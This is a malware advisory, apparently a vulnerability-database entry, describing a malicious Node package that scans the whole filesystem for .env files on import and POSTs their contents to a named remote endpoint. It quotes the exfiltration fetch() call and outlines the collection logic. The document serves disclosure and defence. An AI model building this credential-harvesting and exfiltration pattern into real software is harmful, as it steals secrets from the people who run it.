GCVE-110-OSM-2026-3673

Exfiltrates the contents of every .env and .env.* file found on the host system to attacker-controlled infrastructure at https://renderkit1.vercel.app/api/text via HTTP POST, triggered silently at require()-time with no install hook. The package performs a recursive filesystem walk from the OS root (/ on Unix, all drive letters on Windows), collecting each matched file's absolute path and raw contents — capturing any credentials, API keys, and secrets stored in .env files. All three published versions (1.0.1–1.0.3) carry identical malicious logic; the package has no runtime dependencies and uses Node built-ins only. **Trigger** (require-time): exported function `initializeTui` (alias `raiseFarmStand`) executes immediately when the module is imported or run directly via node. No postinstall or preinstall hook. **Collection**: function `climbMangoTree` performs a recursive `fs.readdir` walk starting from the filesystem root. On each entry it tests `entry.name === '.env'` or `entry.name.startsWith('.env.')`, reads the full file contents with `fs.readFile(path, 'utf8')`, and passes the absolute path and content to the exfil function. **Exfiltration**: function `dispatchDragonfruit` calls `fetch(DEFAULT_NECTAR_ENDPOINT, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ filename: absolutePath, content: fileContents }) })`. The endpoint `DEFAULT_NECTAR_ENDPOINT` is the literal string `https://renderkit1.vercel.app/api/text`, overridable via the `RENDERKIT_API_URL` environment variable or `--url=` CLI flag.